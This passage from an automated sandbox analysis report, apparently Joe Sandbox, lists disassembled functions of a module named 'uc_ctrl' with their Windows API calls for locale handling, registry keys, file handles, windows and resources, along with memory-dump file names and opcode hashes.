                                                                                                • Part of subcall function 6CEDF0F0: ___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6CEDD26D,?), ref: 6CEDF11A
                                                                                                • Part of subcall function 6CEDF0F0: _ismbblead.API-MS-WIN-CRT-MULTIBYTE-L1-1-0(00000000,?,6CEDD26D,?), ref: 6CEDF130
                                                                                              • _Getcvt.MSVCP140(?,?,00000001,0000003C,6CEF9D70,00000000), ref: 6CEF4F9E
                                                                                                • Part of subcall function 6CEEE3CB: _Mbrtowc.MSVCP140(00000000,00000000,00000001,6CEFA06D,00000000,6CEFA06D,00000000), ref: 6CEEE3F1
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Getcvt$H_prolog3_catch_Mbrtowc___lc_codepage_func___lc_locale_name_func___mb_cur_max_func_ismbbleadlocaleconv
                                                                                              • String ID: false$true
                                                                                              • API String ID: 2109655706-2658103896
                                                                                              • Opcode ID: 90ef80053cc9bf08c4768f332734e99d1fb12ac49d85a25896ad1de77450f445
                                                                                              • Instruction ID: 5f1073ef3aad83f339704fb017a63cf47a4c4ed308f938409ec01f36b8ee775f
                                                                                              • Opcode Fuzzy Hash: 90ef80053cc9bf08c4768f332734e99d1fb12ac49d85a25896ad1de77450f445
                                                                                              • Instruction Fuzzy Hash: 16315872900618DFDF15CFB4C8815DE77B4BF08314B34856EE804EB782EB71A90A8B90
                                                                                              Function 6CF8CD49 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80registryCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • RegOpenKeyExW.ADVAPI32(80000001,software,00000000,0002001F,?), ref: 6CF8CD84
                                                                                              • RegCreateKeyExW.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?), ref: 6CF8CDB0
                                                                                              • RegCreateKeyExW.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?), ref: 6CF8CDDC
                                                                                              • RegCloseKey.ADVAPI32(00000000), ref: 6CF8CDEE
                                                                                              • RegCloseKey.ADVAPI32(00000000), ref: 6CF8CDFD
                                                                                                • Part of subcall function 6CF8D27B: GetModuleHandleW.KERNEL32(Advapi32.dll,0002001F,?,?,6CF8CD82,80000001,software,00000000,0002001F,?), ref: 6CF8D28C
                                                                                                • Part of subcall function 6CF8D27B: GetProcAddress.KERNEL32(00000000,RegOpenKeyTransactedW), ref: 6CF8D29C
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: CloseCreate$AddressHandleModuleOpenProc
                                                                                              • String ID: software
                                                                                              • API String ID: 550756860-2010147023
                                                                                              • Opcode ID: db1915a661a623f61d164ce155d68bf046b60c789dadf5b3f2fae5d018e07aa5
                                                                                              • Instruction ID: 0eeebfe1742d590bf31ffaba627ea70d332dbcb9789f18b36878afe78ec3fb94
                                                                                              • Opcode Fuzzy Hash: db1915a661a623f61d164ce155d68bf046b60c789dadf5b3f2fae5d018e07aa5
                                                                                              • Instruction Fuzzy Hash: E9213AB2A02128FB9F01BB94DC44FBF7B7DEB49714F20426AFD15E2600D7309A459BA1
                                                                                              Function 6CEE6C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 63fileCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • CreateFileW.KERNEL32(?,00000100,00000007,00000000,00000003,00000000,00000000), ref: 6CEE6C24
                                                                                              • ___crtGetFileInformationByHandleEx.LIBCPMT(00000000,00000000,?,00000028), ref: 6CEE6C3D
                                                                                              • CloseHandle.KERNEL32(00000000), ref: 6CEE6C4A
                                                                                              • ___crtGetFileInformationByHandleEx.LIBCPMT(00000000,00000000,?,00000028), ref: 6CEE6C71
                                                                                              • CloseHandle.KERNEL32(00000000), ref: 6CEE6C81
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Handle$File$CloseInformation___crt$Create
                                                                                              • String ID: Cw}3/
                                                                                              • API String ID: 2164624149-738913995
                                                                                              • Opcode ID: 0f1a9621a2881ad21e75938bdf73445129f6b96a2ea6bb68a001854a13d3e9e6
                                                                                              • Instruction ID: dbc06c42a55d23e97687d967384cf3f46d25c9e7915b147bb28b2aacfd2b2c7e
                                                                                              • Opcode Fuzzy Hash: 0f1a9621a2881ad21e75938bdf73445129f6b96a2ea6bb68a001854a13d3e9e6
                                                                                              • Instruction Fuzzy Hash: DA11C271F05118BBDB209A69CC49BEF7BBCEB4A7A4F504115FE1AD6380EA34990186E1
                                                                                              Function 6CF922AC Relevance: 10.6, APIs: 7, Instructions: 61COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ClientToScreen.USER32(?,?), ref: 6CF922C6
                                                                                              • GetWindow.USER32(?,00000005), ref: 6CF922CF
                                                                                              • GetDlgCtrlID.USER32(00000000), ref: 6CF922DE
                                                                                              • GetWindowLongW.USER32(00000000,000000F0), ref: 6CF922EE
                                                                                              • GetWindowRect.USER32(00000000,?), ref: 6CF9230C
                                                                                              • PtInRect.USER32(?,?,?), ref: 6CF9231C
                                                                                              • GetWindow.USER32(00000000,00000002), ref: 6CF92329
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Window$Rect$ClientCtrlLongScreen
                                                                                              • String ID:
                                                                                              • API String ID: 1315500227-0
                                                                                              • Opcode ID: 50fe35b9a5f2922ff2f93ae0159351ee64d5dfbcd72c4f0f3543cfabe74827ab
                                                                                              • Instruction ID: d32b7faae807cecdbedd0f68e4cda69a72c25e3d1eca0bd6dcc3b6b834feb63b
                                                                                              • Opcode Fuzzy Hash: 50fe35b9a5f2922ff2f93ae0159351ee64d5dfbcd72c4f0f3543cfabe74827ab
                                                                                              • Instruction Fuzzy Hash: 92118231902519ABEF129F65CC08FAFBBB8EF4A314B608159FC10E3240D7348A01CB92
                                                                                              Function 6CEDAA40 Relevance: 10.6, APIs: 7, Instructions: 54COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • _Cnd_init.MSVCP140(?), ref: 6CEDAA4F
                                                                                                • Part of subcall function 6CEEC020: _calloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,00000028,?,?,?,6CEDAA54,?), ref: 6CEEC02F
                                                                                              • _Mtx_init.MSVCP140(?,00000001,?), ref: 6CEDAA5A
                                                                                                • Part of subcall function 6CEEC3A0: _calloc_base.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,00000030,?,?,?,6CEDAA5F,?,00000001,?), ref: 6CEEC3AF
                                                                                                • Part of subcall function 6CEEC3FB: GetCurrentThreadId.KERNEL32 ref: 6CEEC426
                                                                                                • Part of subcall function 6CEEC3FB: GetCurrentThreadId.KERNEL32 ref: 6CEEC442
                                                                                              • _Thrd_start.MSVCP140(00000000,6CEDA7E0,?,?,00000001,?), ref: 6CEDAA93
                                                                                                • Part of subcall function 6CEDA850: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,?,?,00000000,?), ref: 6CEDA866
                                                                                              • _Cnd_wait.MSVCP140(?,?), ref: 6CEDAAA9
                                                                                              • __Mtx_unlock.LIBCPMT(?), ref: 6CEDAAB9
                                                                                              • _Cnd_destroy.MSVCP140(?,?), ref: 6CEDAAC1
                                                                                              • _Mtx_destroy.MSVCP140(?,?,?), ref: 6CEDAAC9
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: CurrentThread_calloc_base$Cnd_destroyCnd_initCnd_waitMtx_destroyMtx_initMtx_unlockThrd_start_beginthreadex
                                                                                              • String ID:
                                                                                              • API String ID: 2966599113-0
                                                                                              • Opcode ID: 67b66063d97f4f9a0cb464fc068f7e929ce51e4cb188434d45baf2c8ab4d33da
                                                                                              • Instruction ID: 684ff4c5dd192a3d7e2a5e6729c542f86b335dc1b777e0f57d448f51b5ccd022
                                                                                              • Opcode Fuzzy Hash: 67b66063d97f4f9a0cb464fc068f7e929ce51e4cb188434d45baf2c8ab4d33da
                                                                                              • Instruction Fuzzy Hash: 7111EC75D4021CAFCF01EFE4D941ADDBBB9EF08358F2041AAE814B2750E735AB599B90
                                                                                              Function 6CFCA237 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • FindResourceW.KERNEL32(?,?,PNG,?,?,6D0FE0D4,6D0FE0D4,?,6CFCB049,?,?,?,00000038,6CFC9EFB), ref: 6CFCA259
                                                                                              • LoadResource.KERNEL32(?,00000000,?,?,6D0FE0D4,6D0FE0D4,?,6CFCB049,?,?,?,00000038,6CFC9EFB), ref: 6CFCA268
                                                                                              • LockResource.KERNEL32(00000000,?,6D0FE0D4,6D0FE0D4,?,6CFCB049,?,?,?,00000038,6CFC9EFB), ref: 6CFCA275
                                                                                              • SizeofResource.KERNEL32(?,00000000,?,6D0FE0D4,6D0FE0D4,?,6CFCB049,?,?,?,00000038,6CFC9EFB), ref: 6CFCA288
                                                                                              • FreeResource.KERNEL32(00000000,00000000,00000000,?,6D0FE0D4,6D0FE0D4,?,6CFCB049,?,?,?,00000038,6CFC9EFB), ref: 6CFCA29D
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Resource$FindFreeLoadLockSizeof
                                                                                              • String ID: PNG
                                                                                              • API String ID: 4159136517-364855578
                                                                                              • Opcode ID: a7c58c6a96a26918ae3a9f10bfa80a16a22e47f5ab74678762c5ca4e960a8eb3
                                                                                              • Instruction ID: f9e019108794480c566799a1a20e7e564728c7d8d5a3ac0b7e8dff9ea268c693
                                                                                              • Opcode Fuzzy Hash: a7c58c6a96a26918ae3a9f10bfa80a16a22e47f5ab74678762c5ca4e960a8eb3
                                                                                              • Instruction Fuzzy Hash: 4501A7367015267F9B029B95DC44EEFBBBCEF4A2647114155FD00A3700DF32AD0147A2
                                                                                              Function 6CEF9C86 Relevance: 10.6, APIs: 7, Instructions: 50COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEF9C8D
                                                                                              • _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEEAF1,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEF9C98
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEF9CB0
                                                                                                • Part of subcall function 6CEE18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00A49580,6CF33E74,?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?), ref: 6CEE1900
                                                                                                • Part of subcall function 6CEE18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000), ref: 6CEE191B
                                                                                              • ?_Getcat@?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000,?,?,?,00000004), ref: 6CEF9CD0
                                                                                              • _CxxThrowException.VCRUNTIME140(?,6CF13BA4,00000000,?,?,?,00000004), ref: 6CEF9CEC
                                                                                              • ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEF9D14
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionG@std@@@std@@@std@@Getcat@?$num_put@H_prolog3ThrowU?$char_traits@V42@@V?$ostreambuf_iterator@Vfacet@locale@2@
                                                                                              • String ID:
                                                                                              • API String ID: 1566919881-0
                                                                                              • Opcode ID: 6c3ed6920c4421ce370a717ee55b60abd3cfabd689d88d8977a74935b8edc443
                                                                                              • Instruction ID: e163a94eb1c32a275f9e35a8c4b92d889be5c9e7108307595ad455a776794f2a
                                                                                              • Opcode Fuzzy Hash: 6c3ed6920c4421ce370a717ee55b60abd3cfabd689d88d8977a74935b8edc443
                                                                                              • Instruction Fuzzy Hash: E601F535B002248BCF05EBA088606FDB7B6AF8875CF34051CD421ABB80CF75DE0A9B95
                                                                                              Function 6CEEDFC9 Relevance: 10.6, APIs: 7, Instructions: 50COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEEDFD0
                                                                                              • _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEE9C0,00000010,6CEE80E0,?,?,?,00000000,?,?,?,00000000,0000000C,6CEE8148,?,0000003F), ref: 6CEEDFDB
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEEDFF3
                                                                                                • Part of subcall function 6CEE18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00A49580,6CF33E74,?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?), ref: 6CEE1900
                                                                                                • Part of subcall function 6CEE18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000), ref: 6CEE191B
                                                                                              • ?_Getcat@?$codecvt@_WDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000,?,?,?,00000004), ref: 6CEEE013
                                                                                              • _CxxThrowException.VCRUNTIME140(?,6CF13BA4,00000000,?,?,?,00000004), ref: 6CEEE02F
                                                                                              • ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEEE057
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionGetcat@?$codecvt@_H_prolog3Mbstatet@@@std@@ThrowV42@@Vfacet@locale@2@
                                                                                              • String ID:
                                                                                              • API String ID: 2693902097-0
                                                                                              • Opcode ID: 356bff18bd90e3d910e827d5043d1d9b2599c7a7b572d83ad9d49f50bc81945f
                                                                                              • Instruction ID: 69e7e6ea13f04d999e30e41486840f168d07bbfdf6e25bb0ea3dd37276c8362e
                                                                                              • Opcode Fuzzy Hash: 356bff18bd90e3d910e827d5043d1d9b2599c7a7b572d83ad9d49f50bc81945f
                                                                                              • Instruction Fuzzy Hash: C401DE31B00A258BCF04EBA488106FDB376AF887A8F24051CD121ABB80CF78DD0D9796
                                                                                              Function 6CEEAFBD Relevance: 10.6, APIs: 7, Instructions: 50COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEEAFC4
                                                                                              • _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEE7FBA,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?,?,00000004), ref: 6CEEAFCF
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEEAFE7
                                                                                                • Part of subcall function 6CEE18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00A49580,6CF33E74,?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?), ref: 6CEE1900
                                                                                                • Part of subcall function 6CEE18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000), ref: 6CEE191B
                                                                                              • ?_Getcat@?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000,?,?,?,00000004), ref: 6CEEB007
                                                                                              • _CxxThrowException.VCRUNTIME140(?,6CF13BA4,00000000,?,?,?,00000004), ref: 6CEEB023
                                                                                              • ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEEB04B
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@D@std@@@std@@@std@@ExceptionGetcat@?$num_get@H_prolog3ThrowU?$char_traits@V42@@V?$istreambuf_iterator@Vfacet@locale@2@
                                                                                              • String ID:
                                                                                              • API String ID: 1033628651-0
                                                                                              • Opcode ID: 9b37666ef10586e0829f75350e59d2f7ef3618ff2c35c833d41d36b588b18a64
                                                                                              • Instruction ID: 17a7a2d5b7f23f1a0360f5496a53e2a796c555b2f2ad22df4bf702eab465d052
                                                                                              • Opcode Fuzzy Hash: 9b37666ef10586e0829f75350e59d2f7ef3618ff2c35c833d41d36b588b18a64
                                                                                              • Instruction Fuzzy Hash: 0C01D235F003148BCB05EBA088106FD7776AF88798F24081CD020ABB80DF78ED099799
                                                                                              Function 6CEED8D2 Relevance: 10.6, APIs: 7, Instructions: 50COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEED8D9
                                                                                              • _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEEEA0,00000010,6CEE80EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6CEED8E4
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEED8FC
                                                                                                • Part of subcall function 6CEE18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00A49580,6CF33E74,?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?), ref: 6CEE1900
                                                                                                • Part of subcall function 6CEE18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000), ref: 6CEE191B
                                                                                              • ?_Getcat@?$codecvt@GDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000,?,?,?,00000004), ref: 6CEED91C
                                                                                              • _CxxThrowException.VCRUNTIME140(?,6CF13BA4,00000000,?,?,?,00000004), ref: 6CEED938
                                                                                              • ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6CEED960
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: ??1_Lockit@std@@_lock_locales$Bid@locale@std@@ExceptionGetcat@?$codecvt@H_prolog3Mbstatet@@@std@@ThrowV42@@Vfacet@locale@2@
                                                                                              • String ID:
                                                                                              • API String ID: 3765126711-0
                                                                                              • Opcode ID: 4ce7922738b9f8ca63691b81f6c60277b06bad204e0acaea251cefe94db8f5e1
                                                                                              • Instruction ID: 57e78c8a0655d5bb5632275f4e96310966f0f1c444335e3eb2213e1e004fe16f
                                                                                              • Opcode Fuzzy Hash: 4ce7922738b9f8ca63691b81f6c60277b06bad204e0acaea251cefe94db8f5e1
                                                                                              • Instruction Fuzzy Hash: 4B01DE35B106258BCF04EBA4C8206EDB376AF88798F25181CD010ABB80DFB9DE08D795
                                                                                              Function 6CEFD8B5 Relevance: 10.6, APIs: 7, Instructions: 50COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEFD8BC
                                                                                              • _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEFAB82,0000000C,6CEE80D5,?,?,?,00000000,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E), ref: 6CEFD8C7
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6CEFD8DF
                                                                                                • Part of subcall function 6CEE18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00A49580,6CF33E74,?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?), ref: 6CEE1900
                                                                                                • Part of subcall function 6CEE18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000), ref: 6CEE191B
                                                                                              • ?_Getcat@?$time_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000,?,?,?,00000004), ref: 6CEFD8FF
